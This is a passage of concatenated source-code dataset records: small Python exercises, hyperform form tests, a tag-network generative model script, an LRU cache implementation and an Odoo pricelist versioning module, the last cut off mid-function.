var.is_symbol()\n if time in self.time_memo:\n if var in self.time_memo[time]:\n return self.time_memo[time][var]\n\n return None\n","sub_path":"src/bmc/pysmt_bmc/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"468206777","text":"# 2-1\nfor i in range(0,23):\n if(i%2)==0:\n print(i)\n#2-2\nday=\"Tuesday\"\nif(day==\"Monday\" or day==\"Tuesday\"):\n print(\"Today is sunny\")\nelse:\n print(\"Today it will rain\")\n\n#2-3\nweight = 45\nfor i in range(0,10):\n print(weight/6)\n weight+=1","sub_path":"Udemy Course練習/exam2/exam2.py","file_name":"exam2.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"92883582","text":"# coding: utf-8\n# Author: Mingjun Lei\n\nage_of_oldboy = 56\nfor i in range(5):\n guess_age = int(input(\"guess age:\"))\n if guess_age == age_of_oldboy:\n print(\"Yes! You got it!\")\n break\n elif guess_age < age_of_oldboy:\n print(\"Try a bigger number.\")\n else:\n print(\"Try a smaller number.\")\nelse:\n print(\"You have tried too many times...fuck off!\")\n","sub_path":"day1/guess_for.py","file_name":"guess_for.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"432762059","text":"import hyperform as f\nfrom hyperform.constants import DELETED, ID\n\n\nclass MyModel(object):\n def __init__(self, **kwargs):\n kwargs.setdefault(\"deleted\", False)\n for key, value in kwargs.items():\n setattr(self, key, value)\n\n\nclass MyForm(f.Form):\n _model = MyModel\n\n a = f.Text()\n b = f.Integer()\n\n def create_object(self, data):\n return self._model(**data)\n\n def delete_object(self):\n self._object.deleted = True\n\n\ndef test_save_and_create():\n input_data = {\"a\": \"lorem ipsum\", \"b\": \"5\"}\n form = MyForm(input_data)\n obj = form.save()\n\n assert isinstance(obj, MyModel)\n assert obj.a == \"lorem ipsum\"\n assert obj.b == 5\n\n\ndef test_save_and_update():\n input_data = {\"a\": \"lorem ipsum\", \"b\": \"5\"}\n object = MyModel(id=42, a=\"old value\", b=0)\n form = MyForm(input_data, object)\n obj = form.save()\n\n assert isinstance(obj, MyModel)\n assert obj.id == 42\n assert obj.a == \"lorem ipsum\"\n assert obj.b == 5\n\n\ndef test_save_when_invalid():\n input_data = {\"b\": \"NOT AN INTEGER\"}\n form = MyForm(input_data)\n assert form.save() is None\n\n\ndef test_cant_delete_wont_delete():\n input_data = {\"a\": \"lorem ipsum\", \"b\": \"5\", DELETED: \"1\"}\n myobj = MyModel(id=42, a=\"old value\", b=0)\n form = MyForm(input_data, myobj)\n obj = form.save()\n\n assert obj == myobj\n assert obj.a == \"lorem ipsum\"\n assert obj.b == 5\n assert obj.deleted is False\n\n\ndef test_no_model_no_created_object():\n class MySimpleForm(MyForm):\n _model = None\n\n input_data = {\"a\": \"lorem ipsum\", \"b\": \"5\"}\n form = MySimpleForm(input_data)\n obj = form.save()\n\n assert obj == {\"a\": \"lorem ipsum\", \"b\": 5}\n\n\ndef test_no_model_no_updated_object():\n class MySimpleForm(MyForm):\n _model = None\n\n input_data = {\"a\": \"lorem ipsum\", \"b\": \"5\"}\n myobj = MyModel(id=42, a=\"old value\", b=0)\n form = MySimpleForm(input_data, myobj)\n obj = form.save()\n\n assert obj == {ID: 42, \"a\": \"lorem ipsum\", \"b\": 5}\n","sub_path":"tests/test_form_save.py","file_name":"test_form_save.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"623005053","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### using the powerlaw package's lognormal fit and generating method, x_min = 1\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport random\nfrom pandasql import sqldf\nimport powerlaw\nimport os\nimport errno\n\n\n# In[2]:\n\n\nDEBUG = False\n\n\n# ## Calculate Cotag\n\n# In[3]:\n\n\nQUERY_COTAG = (\"with tags as (select t1.tag as q1, t2.tag as q2 \"\n \"from Cul as t1, Cul as t2 \"\n \"where t1.id = t2.id and t1.tag <> t2.tag), \"\n \" t_cotag as (select q1, count(*) as cotag, count(distinct q2) as cotag_u \"\n \"from tags \"\n \"group by q1), \"\n \" t_ct as (select tag, count(distinct id) as ct \"\n \"from Cul \"\n \"group by tag) \"\n \"select t_ct.tag, ct, ifnull(cotag,0) as cotag, ifnull(cotag_u,0) as cotag_u \"\n \"from t_ct \"\n \"left join t_cotag on t_ct.tag = t_cotag.q1 \")\ndef cotag_calculate(tag_dist, tag_supply):\n \"\"\"\n take in tag_dist, tag_supply, and calculate count, cotag_count, and unique_cotag_count\n \"\"\"\n\n Cul = pd.DataFrame({'id':tag_dist, 'tag':tag_supply})\n Cul = sqldf(QUERY_COTAG, locals())\n return Cul\n\n\n# In[4]:\n\n\ndef get_params(filename, param_df):\n \"e.g. filename = 'gis.txt' \"\n mu,sigma = param_df[param_df['filename']==filename][[\"mu\",\"sigma\"]].items()\n mu = float(mu[1])\n sigma = float(sigma[1])\n return [mu,sigma]\n\n\n# ## PATH Configuration\n\n# The specified path must exist before running the code\n\n# In[5]:\n\n\nMODEL = \"bakset_relaxed\"\nPARAM_DF_PATH = './results/tagfreq.csv'\n\n# PATH to the source txt files\nSOURCE_PATH = \"parsed/\"\nSOURCE_PATH_COTAG = \"cotag_data/\"\n\n# PATH to store the generated networks\n# also need folder \"\"/cotag_files\nMODEL_PATH_MAP = {\n \"bakset_relaxed\": \"files/generated/\"\n}\n\n# prefix of generated graphs\nMODEL_PREFIX_MAP = {\n \"bakset_relaxed\": \"gen_\"\n}\n\n# PATH to store the generated graphs\nMODEL_GRAPH_MAP = {\n \"bakset_relaxed\": \"files/plots/\"\n}\n\n\"\"\"\nreturn PATH to store the generated networks\n\"\"\"\ndef get_path_from_model(model):\n assert model in MODEL_PATH_MAP.keys()\n data_path = MODEL_PATH_MAP[model]\n return data_path\n\n\"\"\"\nreturn prefix of generated graphs\n\"\"\"\ndef get_prefix(model):\n assert model in MODEL_PREFIX_MAP.keys()\n graph_prefix = MODEL_PREFIX_MAP[model]\n return graph_prefix\n\n\n\"\"\"\nreturn PATH to store the generated graphs\n\"\"\"\ndef get_graph_folder(model):\n assert model in MODEL_GRAPH_MAP.keys()\n graph_path = MODEL_GRAPH_MAP[model]\n return graph_path\n\n\n# In[6]:\n\n\ndef get_db_name(filename):\n return filename + '.db'\n\n\"\"\"\nreturn the result of `query` on `df` as a dataframe\n\nThe name of the table in the query must be Cul\n\"\"\"\ndef execute_query(query,Cul):\n return sqldf(query, locals())\n\n\n# ## Read in Data\n\n# In[7]:\n\n\n\"\"\"\nfile `data_path + filename + \".txt\"` should be in format \n\n0 6 1 1 2014-04-15T18:11:01.93\n0 6 2 1 2014-04-15T18:11:01.93\n0 6 3 1 2014-04-15T18:11:01.93\n\notherwise please specify the column names with col_names\n\nreturn the dataframe created from the txt file\n\nif remove_time is True, do not include the time strings\n\ne.g. filename = apple\n\"\"\"\ndef data_preprocess(filename, data_path = None, col_names = [\"ques\", \"tag\", \"id\",\"time_str\"], remove_time = True):\n if not data_path:\n data_path = SOURCE_PATH \n \n df = pd.read_csv(data_path + filename + \".txt\", sep = ' ', names = col_names)\n #db_name = data_path + \"db_files/\"+get_db_name(filename)\n #write_to_db(df,db_name, output_cols = col_names , tablename = 'Cul')\n #return db_name, df\n if remove_time:\n df = df[[\"ques\", \"tag\", \"id\"]]\n return df\n\n\n# ## Get post number, tag number, unique tag number, tag distribution\n\n# In[8]:\n\n\n\"\"\"\nReturn the number of posts, tags and unique tags\n\"\"\"\ndef get_data_stats(df):\n num_post = df['id'].nunique()# len(np.unique(df['id']))\n total_tag = len(df)\n num_tag = df['tag'].nunique()#len(np.unique(df['tag']))\n \n return num_post,total_tag,num_tag\n\n\n# ## Generate Random Graph\n\n# In[9]:\n\n\n\"\"\"\ngiven post number and tag number, based on the probability of getting\n0 tag post, generate a post number that will result in the orginal\nnumber of nonzero tag posts\n\"\"\"\ndef find_n(N,T):\n left = N\n right = N/(1-np.exp(-1))\n \n def search_n(l,r,T):\n f = lambda x: x*(1-np.exp(-T/x))\n while(f(r) < N):\n l = r\n r = r * 1.5\n n = (l+r)/2\n while(np.abs(f(n)-N) > 1):\n if f(n) - N < 0:\n l = n\n n = (l+r)/2\n else:\n r = n\n n = (l+r)/2\n return n\n return round(search_n(left,right,T)).astype(int)\n\n\n# Assign tags to posts according to the note:\n# For each tag, randomly assign it to one of the posts. \ndef tag_dist_generate(tag_supply, num_post):\n post_tags_dict = dict()\n num_tag_supply = len(tag_supply)\n \n for tag,N in enumerate(tag_supply):\n posts = np.random.choice(num_post, N)\n for post in posts:\n current_dict = post_tags_dict.get(post, set([]))\n c = post_tags_dict.get(post,set([]))\n c.add(tag)\n \n post_tags_dict[post] = c\n \n return post_tags_dict\n\n\n# This function generate a post-tag network with the following procedure:\n# Get the post number(num_post), the sum of number of tags in each post(total_tag), and the number of unique tags(num_tag)\n# Generate a list of tags based on num_tag, whose post count is in lognormal distribution\n# A tag can have at most num_post post count, if more, truncate\n# Normalize the tag number such that the total number of tags is similar to total_tag\n# Assign tags to posts using the function \ndef cotag_network_gen(num_post, num_tag, total_tag, params, normalize = True):\n\n \n theoretical_distribution = powerlaw.Lognormal(xmin=1, parameters=params)#, discrete=True)\n tag_supply = theoretical_distribution.generate_random(num_tag)\n \n normalized_factor = None\n if normalize:\n max_app = num_post\n tag_supply[tag_supply > max_app] = max_app\n normalized_factor = total_tag/np.sum(tag_supply)\n tag_supply = np.round(tag_supply*normalized_factor).astype(int)\n\n\n #print(\"larger than max app:\", np.sum(tag_supply > max_app))\n #print(\"normalized factor :\", normalized_factor)\n else:\n tag_supply = tag_supply.astype(int)\n \n total_tag_discrep = abs(total_tag-np.sum(tag_supply))/total_tag\n \n # general new tag assignment \n post_tags_dict = tag_dist_generate(tag_supply, num_post)\n \n def modify(post_tags_dict):\n tag_supply = []\n tag_dist = []\n for k,values in post_tags_dict.items():\n tag_dist += [k] * len(values)\n tag_supply += list(values)\n return tag_supply, tag_dist\n \n #print(\"bbb\",type(tag_supply))\n tag_supply, tag_dist = modify(post_tags_dict)\n \n return tag_supply, tag_dist, post_tags_dict, total_tag_discrep, normalized_factor\n\n\n# In[10]:\n\n\ndef generate_data(file_name,num_post,num_tag,total_tag, params,gen_path = None, gen_path_cotag = None, normalize = True): \n\n \n # post number correction\n num_post_new = find_n(num_post,total_tag)\n \n # generate new graph\n results = cotag_network_gen(num_post_new, num_tag, total_tag, params, normalize = normalize)\n tag_supply, tag_dist, post_tags_dict, total_tag_discrep, normalized_factor = results\n \n # calculate discrepancies \n num_tag_per_post = np.array([len(i) for i in list(post_tags_dict.values())]) \n over_five_percent = np.sum(num_tag_per_post>5)/num_post\n num_post_discrep = (abs(len(num_tag_per_post)-num_post)/num_post)\n\n \n # write results to csv files\n df_gen = pd.DataFrame({'id':tag_dist, 'tag':tag_supply})\n df_gen.to_csv(gen_path)\n df_gen_cotag = cotag_calculate(tag_dist, tag_supply)\n df_gen_cotag.to_csv(gen_path_cotag)\n \n \n\n return df_gen_cotag, [over_five_percent,num_post_discrep, total_tag_discrep, normalized_factor]\n\n\n# ## Plot\n\n# In[11]:\n\n\ndef log_pre(df, x_log = True, y_log = True):\n return df[(df.T != 0).all()]\n\n\n\n# # Run\n\n# In[12]:\n\n\ndef run_model(file_name, param_df, model = None, normalize = True):\n\n df = data_preprocess(file_name)\n num_post,total_tag,num_tag = get_data_stats(df)\n\n if not model:\n model = MODEL\n data_path = get_path_from_model(model)\n prefix = get_prefix(model)\n graph_path = get_graph_folder(model)\n \n gen_path = data_path + prefix + file_name + \".csv\"\n gen_path_cotag = data_path + \"cotag_files/\" + prefix + file_name + \"_cotag.csv\"\n \n print (file_name)\n params = get_params(file_name, param_df)\n\n # over_five_percent,num_post_discrep, total_tag_discrep,normalized_factor = discrep_info\n df_gen_cotag, discrep_info = generate_data(file_name, num_post,num_tag,total_tag, \n params = params,\n gen_path = gen_path, gen_path_cotag = gen_path_cotag, \n normalize = normalize)\n \n \n return discrep_info\n\n\n# In[13]:\n\n\ntry:\n os.makedirs(\"./files/generated/cotag_files\")\nexcept OSError as e:\n if e.errno != errno.EEXIST:\n raise\n \n\nparam_df = pd.read_csv(PARAM_DF_PATH)\nfinal_df = pd.DataFrame()\nfor (dirpath, dirnames, filenames) in os.walk(\"./parsed\"):\n for filename in filenames:\n if filename.endswith('.txt'): \n file = filename[:-4]\n results = run_model(file, param_df = param_df, normalize = True)\n over_five_percent,num_post_discrep, total_tag_discrep, normalized_factor = results\n \n new_row = {'filename':filename,\n \"num_post\":over_five_percent,\n \"num_post_discrep\":num_post_discrep,\n \"total_tag_discrep\":total_tag_discrep,\n \"normalized_factor\":normalized_factor}\n #print(new_row)\n final_df = final_df.append(new_row, ignore_index=True)\nfinal_df.to_csv(\"results/discrep.csv\")\n\n","sub_path":"sx08generative-model.py","file_name":"sx08generative-model.py","file_ext":"py","file_size_in_byte":10147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"519638447","text":"# 运用你所掌握的数据结构,设计和实现一个 LRU (最近最少使用) 缓存机制。它应该支持以下操作: 获取数据 get 和 写入数据 put 。 \n# \n# 获取数据 get(key) - 如果关键字 (key) 存在于缓存中,则获取关键字的值(总是正数),否则返回 -1。 \n# 写入数据 put(key, value) - 如果关键字已经存在,则变更其数据值;如果关键字不存在,则插入该组「关键字/值」。当缓存容量达到上限时,它应该在\n# 写入新数据之前删除最久未使用的数据值,从而为新的数据值留出空间。 \n# \n# \n# \n# 进阶: \n# \n# 你是否可以在 O(1) 时间复杂度内完成这两种操作? \n# \n# \n# \n# 示例: \n# \n# LRUCache cache = new LRUCache( 2 /* 缓存容量 */ );\n# \n# cache.put(1, 1);\n# cache.put(2, 2);\n# cache.get(1); // 返回 1\n# cache.put(3, 3); // 该操作会使得关键字 2 作废\n# cache.get(2); // 返回 -1 (未找到)\n# cache.put(4, 4); // 该操作会使得关键字 1 作废\n# cache.get(1); // 返回 -1 (未找到)\n# cache.get(3); // 返回 3\n# cache.get(4); // 返回 4\n# \n# Related Topics 设计 \n# 👍 759 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n\nclass DLinkedNode:\n def __init__(self,key=0,value=0):\n self.key=key\n self.value=value\n self.prev=None\n self.next=None\n\nclass LRUCache(object):\n\n def __init__(self, capacity:int):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.cache=dict()\n # 使用伪头部和伪尾部结点\n self.head = DLinkedNode()\n self.tail = DLinkedNode()\n self.head.next=self.tail\n self.tail.prev=self.head\n self.capacity=capacity\n self.size=0\n\n\n def get(self, key:int)->int:\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n if key not in self.cache:\n return -1\n # 如果key存在,先通过哈希表定位,再移动到头部\n node = self.cache[key]\n self.moveToHead(node)\n return node.value\n\n def put(self, key:int , value:int ):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: None\n \"\"\"\n if key not in self.cache:\n # 如果key不存在,创建一个新节点\n node = DLinkedNode(key,value)\n # 添加到hash表\n self.cache[key] = node\n #添加到双向链表的头部\n self.addToHead(node)\n self.size+=1\n if self.size >self.capacity:\n #如果超出容量,删除双向链表的尾结点\n removed = self.removeTail()\n #删除哈希表中对应的项\n self.cache.pop(removed.key)\n self.size-=1\n else:\n # 如果 key 存在,先通过哈希表定位,再修改 value,并移到头部\n node = self.cache[key]\n node.value = value\n self.moveToHead(node)\n\n def addToHead(self,node):\n node.prev = self.head\n node.next = self.head.next\n self.head.next.prev = node\n self.head.next = node\n\n def removeNode(self,node):\n node.prev.next = node.next\n node.next.prev = node.prev\n\n def moveToHead(self,node):\n self.removeNode(node)\n self.addToHead(node)\n\n def removeTail(self):\n node = self.tail.prev\n self.removeNode(node)\n return node\n\n\n\n# Your LRUCache object will be instantiated and called as such:\n# obj = LRUCache(capacity)\n# param_1 = obj.get(key)\n# obj.put(key,value)\n# leetcode submit region end(Prohibit modification and deletion)\n","sub_path":"tansuo-bytedance/34LRU缓存机制.py","file_name":"34LRU缓存机制.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"607072922","text":"# -*- coding: utf-8 -*-\n\nfrom openerp import models, fields, _, api\nfrom openerp.exceptions import except_orm\nimport time\nfrom datetime import datetime\nfrom openerp import tools\nfrom openerp.osv import osv\nimport base64,xlrd\n\nclass taylor_price_version_list(models.Model):\n \"\"\"\n 添加价格表版本与价格表关联\n \"\"\"\n _name = \"price.list.version\"\n\n pricelist = fields.Many2one('product.pricelist', '价格表', required=True)\n perice_version = fields.Many2one('product.pricelist.version', '价格表版本')\n\n def _check_date(self, cursor, user, ids, context=None):\n return True\n\nclass taylor_pricce_version(models.Model):\n \"\"\"\n 添加一个价格表版本与价格表关联字段\n \"\"\"\n\n _inherit = \"product.pricelist.version\"\n\n price_list_ref = fields.One2many('price.list.version', 'perice_version', '相关价格表')\n import_file = fields.Binary(string=\"导入的模板\")\n\n @api.model\n def create(self, vals):\n res = super(taylor_pricce_version, self).create(vals)\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':res.pricelist_id.name,'note':'创建价格表版本:%s'%res.name})\n return res\n\n @api.multi\n def write(self, vals):\n for obj in self:\n if vals.get('active'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.pricelist_id.name,'note':'将价格表版本%s置为无效'%obj.name})\n if vals.get('name'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.pricelist_id.name,'note':'将价格表版本的名称由%s改为%s'%(obj.name,vals.get('name'))})\n if vals.get('date_start'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.pricelist_id.name,'note':'将价格表版本的开始时间由%s改为%s'%(obj.date_start,vals.get('date_start'))})\n if vals.get('date_end'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.pricelist_id.name,'note':'将价格表版本的结束时间由%s改为%s'%(obj.date_end,vals.get('date_end'))})\n return super(taylor_pricce_version, self).write(vals)\n\n # 删除价格表版本\n @api.multi\n def unlink(self):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':self.pricelist_id.name,'note':'删除价格表版本:%s'%self.name})\n return super(taylor_pricce_version, self).unlink()\n\n def _check_date(self, cursor, user, ids, context=None):\n return True\n\n # 明细导入\n @api.one\n def import_data(self):\n if self.import_file:\n try:\n excel = xlrd.open_workbook(file_contents=base64.decodestring(self.import_file))\n except:\n raise osv.except_osv(_(u'提示'), _(u'请使用xls文件进行上传'))\n product_info = excel.sheet_by_index(0)\n pricelist_item_obj = self.env['product.pricelist.item']\n product_obj = self.env['product.product']\n for obj in range(2, product_info.nrows):\n val = {}\n # 获取产品编号产品\n default_code = product_info.cell(obj, 0).value\n if default_code:\n product_ids = product_obj.search([('default_code','=',default_code)])\n if len(product_ids) > 1:\n raise osv.except_osv(_(u'提示'), _(u'系统中存在多个产品编号为%s的产品')%default_code)\n else:\n val['product_id'] = product_ids[0].id\n val['name'] = default_code\n # 获取倍数\n multipl = product_info.cell(obj, 2).value\n if not multipl:\n val['multipl'] = 1\n else:\n val['multipl'] = float(multipl)\n # 获取价格计算方法\n base = product_info.cell(obj, 3).value\n if not base:\n raise osv.except_osv(_(u'提示'), _(u'第%s行,价格计算基础不能为空')%obj)\n else:\n base = int(base)\n if base not in (1,2):\n raise osv.except_osv(_(u'提示'), _(u'第%s行,价格计算基础只能填写‘1’或‘2’')%obj)\n val['base'] = base\n # 获取价格计算比例\n price_discount = product_info.cell(obj, 4).value\n if not price_discount:\n val['price_discount'] = 0\n else:\n val['price_discount'] = float(price_discount)\n # 获取价格计算固定值\n price_surcharge = product_info.cell(obj, 5).value\n if not price_surcharge:\n val['price_surcharge'] = 0\n else:\n val['price_surcharge'] = float(price_surcharge)\n val['price_version_id'] = self.id\n pricelist_item_obj.create(val)\n self.write({'import_file': ''})\n else:\n raise osv.except_osv(_(u'提示'), _(u'请先上传模板'))\n\nclass taylor_pricce_list(models.Model):\n\n _inherit = \"product.pricelist.item\"\n\n multipl= fields.Float('倍数')\n price_version_item_id = fields.Many2one('pricelist.prolate.relation',string='关联产品中的价格版本信息')\n is_recommend = fields.Boolean(u'设置为推荐')\n\n _defaults = {\n 'multipl':1,\n }\n\n # 选择产品可以自动关联上产品模板\n def product_id_change(self, cr, uid, ids, product_id, context=None):\n if not product_id:\n return {}\n prod = self.pool.get('product.product').browse(cr, uid, product_id)\n val = {}\n if prod.product_tmpl_id:\n val['product_tmpl_id'] = prod.product_tmpl_id.id\n if prod.code:\n val['name'] = prod.code\n return {'value':val}\n\n # 倍数限制\n @api.constrains('multipl')\n def _check_quantity_price(self):\n for ids in self:\n if ids.multipl<0:\n raise except_orm(_('Warning!'),_('警告,倍数必须大于0!'))\n\n @api.model\n # 创建价格表关联到产品中对应数据\n def create(self, vals):\n res_id = super(taylor_pricce_list, self).create(vals)\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':res_id.price_version_id.pricelist_id.name,'note':'创建价格表明细:%s'%res_id.name})\n relation_id = self.env['pricelist.prolate.relation']\n # 如果选择了产品模板\n if vals.get('product_tmpl_id'):\n # 在产品中创建对应数据\n res = relation_id.create({'proce_version':res_id.price_version_id.id,'proportion':res_id.price_discount,\n 'fixed':res_id.price_surcharge,'multipl':res_id.multipl,'ref_product_template':vals.get('product_tmpl_id')})\n res_id.write({'price_version_item_id':res.id})\n return res_id\n\n @api.multi\n # 修改明细修改关联到产品中对应数据\n def write(self, vals):\n for obj in self:\n if vals.get('active'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细%s置为无效'%obj.name})\n if vals.get('name'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的名称由 %s 改为 %s'%(obj.name,vals.get('name'))})\n if vals.get('product_id'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的产品由 %s 改为 %s'%(obj.sudo().product_id.name if obj.product_id else '空',obj.sudo().env['product.product'].browse(vals.get('product_id')).name)})\n if vals.get('product_tmpl_id'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的产品模板由 %s 改为 %s'%(obj.sudo().product_tmpl_id.name if obj.product_tmpl_id else '空',obj.sudo().env['product.template'].browse(vals.get('product_tmpl_id')).name)})\n if vals.get('categ_id'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的产品分类由 %s 改为 %s'%(obj.sudo().categ_id.name if obj.categ_id else '空',obj.sudo().env['product.category'].browse(vals.get('categ_id')).name)})\n if vals.get('multipl'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的倍数由 %s 改为 %s'%(obj.multipl,vals.get('multipl'))})\n if vals.get('base'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的价格基础由 %s 改为 %s'%(obj.base,vals.get('base'))})\n if vals.get('price_discount'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的新价格比例由 %s 改为 %s'%(obj.price_discount,vals.get('price_discount'))})\n if vals.get('price_surcharge'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的新价格固定值��� %s 改为 %s'%(obj.price_surcharge,vals.get('price_surcharge'))})\n if vals.get('price_round'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的舍入方法由 %s 改为 %s'%(obj.price_round,vals.get('price_round'))})\n if vals.get('price_min_margin'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的最小上浮金额由 %s 改为 %s'%(obj.price_min_margin,vals.get('price_min_margin'))})\n if vals.get('price_max_margin'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.price_version_id.pricelist_id.name,'note':'将价格表明细的最大利润由 %s 改为 %s'%(obj.price_max_margin,vals.get('price_max_margin'))})\n super(taylor_pricce_list, self).write(vals)\n if not vals.get('price_version_item_id'):\n for obj in self:\n obj.price_version_item_id.write({'proportion':obj.price_discount,'fixed':obj.price_surcharge,'multipl':obj.multipl})\n return True\n\n def unlink(self, cr, uid, ids, context={}):\n relation_obj = self.pool.get('pricelist.prolate.relation')\n obj_ids = self.browse(cr, uid, ids)\n for line in obj_ids:\n self.pool.get('qdodoo.pricelist.edit.line').create(cr, uid, {'name':datetime.now(),'user_id':uid,'pricelist_id':line.price_version_id.pricelist_id.name,'note':'删除价格表明细:%s'%line.name})\n if not context.get('version'):\n for obj in obj_ids:\n relation_obj.unlink(cr, uid, obj.price_version_item_id.id,context={'item':True})\n return super(taylor_pricce_list, self).unlink(cr, uid, ids, context=context)\n\nclass qdodoo_product_pricelist_inherit(models.Model):\n _inherit = 'product.pricelist'\n\n partner_all = fields.One2many('product.pricelist.partner','qdodoo_partner_id','业务伙伴')\n\n def _price_rule_get_multi(self, cr, uid, pricelist, products_by_qty_by_partner, context=None):\n context = context or {}\n date = context.get('date') or time.strftime('%Y-%m-%d')\n\n products = map(lambda x: x[0], products_by_qty_by_partner)\n currency_obj = self.pool.get('res.currency')\n product_obj = self.pool.get('product.template')\n product_uom_obj = self.pool.get('product.uom')\n users_obj = self.pool.get('res.users')\n price_type_obj = self.pool.get('product.price.type')\n\n if not products:\n return {}\n\n version = False\n lst = {}\n # 获取开始时间满足条件的价格比明细\n for v in pricelist.version_id:\n if (v.date_start is False) or (v.date_start <= date):\n lst[v] = v.date_end\n # 获取价格表版本\n a = ''\n for line_key,line_value in lst.items():\n if line_key.date_end >= date:\n if not version:\n a = line_value\n version = line_key\n else:\n if a > line_value or not a:\n version = line_key\n if (line_key.date_end is False) and not version:\n a = line_value\n version = line_key\n if not version:\n # 获取当前登录人用户的价格表\n property_product_pricelist = users_obj.browse(cr, uid, uid).partner_id.property_product_pricelist\n if property_product_pricelist != pricelist:\n return self._price_rule_get_multi(cr, uid, property_product_pricelist, products_by_qty_by_partner, context=context)\n raise except_orm(_('Warning!'), _(\"At least one pricelist has no active version !\\nPlease create or activate one.\"))\n categ_ids = {}\n for p in products:\n categ = p.categ_id\n while categ:\n categ_ids[categ.id] = True\n categ = categ.parent_id\n categ_ids = categ_ids.keys()\n\n # 获取对应产品id\n is_product_template = products[0]._name == \"product.template\"\n prod_ids = []\n if is_product_template:\n prod_tmpl_ids = [tmpl.id for tmpl in products]\n for tmpl in products:\n for product in tmpl.product_variant_ids:\n prod_ids.append(product.id)\n else:\n prod_ids = [product.id for product in products]\n prod_tmpl_ids = [product.product_tmpl_id.id for product in products]\n # 查询对应的价格表明细id\n # Load all rules\n cr.execute(\n 'SELECT i.id '\n 'FROM product_pricelist_item AS i '\n 'WHERE (product_tmpl_id IS NULL OR product_tmpl_id = any(%s)) '\n 'AND (product_id IS NULL OR (product_id = any(%s))) '\n 'AND ((categ_id IS NULL) OR (categ_id = any(%s))) '\n 'AND (price_version_id = %s) '\n 'ORDER BY sequence, min_quantity desc',\n (prod_tmpl_ids, prod_ids, categ_ids, version.id))\n item_ids = [x[0] for x in cr.fetchall()]\n items = self.pool.get('product.pricelist.item').browse(cr, uid, item_ids, context=context)\n price_types = {}\n\n results = {}\n for product, qty, partner in products_by_qty_by_partner:\n results[product.id] = 0.0\n rule_id = False\n price = False\n\n # Final unit price is computed according to `qty` in the `qty_uom_id` UoM.\n # An intermediary unit price may be computed according to a different UoM, in\n # which case the price_uom_id contains that UoM.\n # The final price will be converted to match `qty_uom_id`.\n qty_uom_id = context.get('uom') or product.uom_id.id\n price_uom_id = product.uom_id.id\n qty_in_product_uom = qty\n if qty_uom_id != product.uom_id.id:\n try:\n qty_in_product_uom = product_uom_obj._compute_qty(\n cr, uid, context['uom'], qty, product.uom_id.id or product.uos_id.id)\n except except_orm:\n # Ignored - incompatible UoM in context, use default product UoM\n pass\n for rule in items:\n # 根据最小数量判断是否匹配\n if rule.min_quantity and qty_in_product_uom < rule.min_quantity:\n continue\n # 如果是产品模板\n if is_product_template:\n if rule.product_tmpl_id and product.id != rule.product_tmpl_id.id:\n continue\n # 如果明细中存在产品\n # if rule.product_id:\n # continue\n else:\n if rule.product_tmpl_id and product.product_tmpl_id.id != 